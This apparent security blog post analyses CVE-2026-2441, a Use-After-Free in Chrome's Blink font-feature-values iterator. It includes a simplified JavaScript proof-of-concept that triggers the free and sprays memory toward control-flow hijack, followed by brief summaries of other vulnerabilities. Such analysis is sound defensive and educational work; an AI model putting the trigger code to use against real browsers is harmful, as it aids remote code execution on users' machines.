Feb 21, 2026·6 min read·101 visits
A critical Use-After-Free in Chrome's Blink engine allows attackers to execute arbitrary code by manipulating CSS font feature maps. If you iterate over a map while modifying it, the backing storage gets freed, but the iterator doesn't get the memo. Confirmed active exploitation.
In the sprawling, chaotic metropolis that is the Chromium codebase, even the most obscure CSS features can hide deadly traps. CVE-2026-2441 is a textbook Use-After-Free (UAF) vulnerability buried deep within the Blink rendering engine's handling of `@font-feature-values`. By exploiting a logic error in how iterators track underlying HashMaps during mutation, attackers can trigger memory corruption leading to Remote Code Execution (RCE) inside the renderer process. This isn't theoretical—Google has confirmed active exploitation in the wild.
Browsers are essentially operating systems masquerading as document viewers. They handle networking, graphics, audio, and, of course, typography. But unlike your OS, the browser executes untrusted code from the internet by design. Enter CSSFontFeatureValuesMap.
This component lives in Blink (third_party/blink/renderer/core/css/css_font_feature_values_map.cc) and is responsible for handling the CSS @font-feature-values rule. This rule allows developers to define named aliases for font-specific feature indices (like swash or styleset). It's a niche feature, likely used by 0.1% of websites, which makes it the perfect hunting ground for bug hunters. Code that isn't frequently touched or widely understood often rots.
The vulnerability here is a classic "iterator invalidation" issue, but with a C++ twist. When you ask JavaScript to iterate over these font values, the browser creates a C++ iterator object to bridge the gap. Ideally, this iterator should be smart enough to handle the underlying data changing. In CVE-2026-2441, it was decidedly stupid.
To understand the bug, you have to understand how WTF::HashMap (Web Template Framework, not the other acronym) works in Blink. Hash maps are dynamic. If you add enough items, the map eventually says, "I'm full," and allocates a larger chunk of memory, moves the items over, and frees the old chunk.
The vulnerability lies in the FontFeatureValuesMapIterationSource class. This class is created when JS asks for an iterator (e.g., rule.styleset.entries()).
The fatal flaw? The iterator held a raw pointer (const FontFeatureAliases* aliases_) directly to the internal storage of the map. It did not hold a reference that would keep the storage alive, nor did it check if the map had moved. It just grabbed the address and said, "I'll live here forever."
Here is the sequence of doom:
free()). The new data lives elsewhere.Let's look at the logic failure. The code essentially trusted that the map wouldn't change under its feet. This is akin to sitting on a park bench (iterator) while a construction crew (map.set) demolishes the park and builds a new one three blocks away. You end up sitting on nothing.
// Pseudocode representation of the flaw
class FontFeatureValuesMapIterationSource : public ValueIterable::IterationSource {
public:
explicit IterationSource(const FontFeatureAliases& aliases)
: aliases_(&aliases), // <--- DANGER: Raw pointer to map storage
iterator_(aliases.begin()) {}
bool Next(ScriptState* script_state, ...) override {
// If 'aliases_' was rehashed, this iterator is invalid.
// But we use it anyway.
if (iterator_ == aliases_->end()) return false;
// ... usage of iterator_ causes UAF
}
private:
const FontFeatureAliases* aliases_;
FontFeatureAliases::const_iterator iterator_;
};The fix, implemented in commit 63f3cb4864c64c677cd60c76c8cb49d37d08319c, changes this ownership model. Instead of a raw pointer, the safe version usually involves either creating a localized copy of the keys/values for the iterator to use (snapshotting) or using a WeakPtr or handle that knows when the underlying object has died or moved.
Exploiting this requires a bit of heap gymnastics (Heap Feng Shui). We need to trigger the free, fill the hole with our own data, and then trick the engine into using it.
> [!NOTE] > This is a simplified reconstruction based on the vulnerability mechanics.
// 1. Setup the target
const sheet = document.getElementById("target-style").sheet;
const rule = sheet.cssRules[0]; // @font-feature-values rule
const map = rule.styleset; // The vulnerable map
// 2. Create the iterator (holds raw ptr to current storage)
const iterator = map.entries();
const first = iterator.next();
// 3. Trigger the Free (Rehash)
// We delete an item to create gaps, then flood it to force a resize.
map.delete(first.value[0]);
// Adding 512 items guarantees a rehash in most HashMap implementations
for (let i = 0; i < 512; i++) {
map.set("spray_" + i, [i, i+1]);
}
// At this point, the 'iterator' variable in C++ points to freed memory.
// 4. Reclaim the Freed Memory
// We allocate a typed array or another object that fits the size of the freed block.
// We write fake vtable pointers or object structures here.
let reclaim = new ArrayBuffer(SIZE_OF_FREED_CHUNK);
let view = new DataView(reclaim);
view.setUint32(0, 0x41414141); // Controlled data
// 5. Trigger Execution
iterator.next(); // Blink reads our 0x41414141 as a pointer and jumps to it.If successful, the iterator.next() call tries to read from the old map storage. Since we've overwritten that storage with our ArrayBuffer, the browser reads our malicious data. By targeting the Virtual Function Table Pointer (vptr), we can hijack control flow and execute ROP chains.
Immediate impact? Renderer RCE. The attacker executes code in the context of the Chrome Renderer process. This process is sandboxed, meaning it can't just read your files or install malware directly on the OS.
However, a Renderer exploit is the first step in a "chain." Attackers combine this UAF with a second vulnerability—a Sandbox Escape (often in the OS kernel or the browser's GPU process)—to break out.
Given that this was found exploited in the wild, it is highly probable that threat actors (likely sophisticated ones) had a full chain ready. They used this bug to get a foothold, and another zero-day to break the cage.
The remediation is straightforward for users: Update Chrome. The patch ensures that iterators are robust against container mutation. Typically, this means the iterator creates a "snapshot" of the keys or holds a strong reference that prevents the backing store from vanishing.
If you are a security researcher looking at the patch, check css_font_feature_values_map.cc. You'll see the shift away from raw pointers. The lesson here for C++ developers is eternal: Never trust that a container will remain static while you are iterating over it.
145.0.7632.75 (Windows/Mac) or 144.0.7559.75 (Linux).chrome://settings/help to ensure the update applied.CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Google Chrome Google | < 145.0.7632.75 | 145.0.7632.75 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-416 (Use After Free) |
| CVSS | 8.8 (High) |
| Attack Vector | Network (Web Page) |
| Privileges Required | None |
| User Interaction | Required (Visit Page) |
| Exploit Status | Active / Weaponized |
| EPSS Score | 0.00531 (66.81%) |
| KEV Listed | Yes (2026-02-17) |
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.
An access control bypass vulnerability in goshs prior to version 2.1.4 allows unauthenticated remote attackers to bypass security flags intended to prevent file deletion and unauthorized modification. By exploiting the server's incorrect classification of WebDAV MOVE and overwriting COPY methods, attackers can execute arbitrary file deletion and data manipulation on the host system.
CVE-2026-66063 is an unauthenticated directory traversal and arbitrary file write vulnerability in goshs before version 2.1.5. Due to improper sanitization of file upload names, an unauthenticated attacker can write files outside the served web root. A related trailing slash bypass in the same version allows unauthorized file retrieval.
An unauthenticated remote Denial of Service (DoS) vulnerability exists in the plaintext message parsing implementation of gotd/td, a Go-based Telegram MTProto client and server library. The security flaw is located within the unencrypted message decoding pipeline, where the parser reads an untrusted length header and immediately performs a heap-based memory allocation without checking if the buffer contains the corresponding bytes. An attacker can exploit this behavior by sending a single crafted 20-byte packet containing an extremely large length value, leading to immediate memory exhaustion and process termination by the operating system Out-Of-Memory (OOM) killer.
A critical SQL injection vulnerability was identified in @hypequery/clickhouse prior to version 2.0.2. The escapeValue utility function in packages/clickhouse/src/core/utils.ts fails to escape literal backslash characters before replacing single quotes. This allows remote, unauthenticated attackers to supply input parameters ending in a backslash, neutralizing the closing quote character inside ClickHouse databases and enabling arbitrary SQL execution.
A critical path traversal vulnerability (CWE-22) in openhole-server version 0.1.1 and earlier allows remote, unauthenticated attackers to traverse directories and access restricted files or endpoints on local backend services exposed via the tunnel proxy. The issue stems from improper handling of decoded URL paths inside the proxy handler, which are then reconstructed and executed literally by the CLI client.
A critical prototype pollution vulnerability (CVE-2026-54639) exists in style-dictionary versions 4.3.0 through 5.4.3 due to unsafe object traversal in the convertTokenData utility. Although a patch was released in version 5.4.4 targeting '__proto__', a complete bypass is possible using 'constructor.prototype', leading to persistent global prototype pollution and potential remote code execution.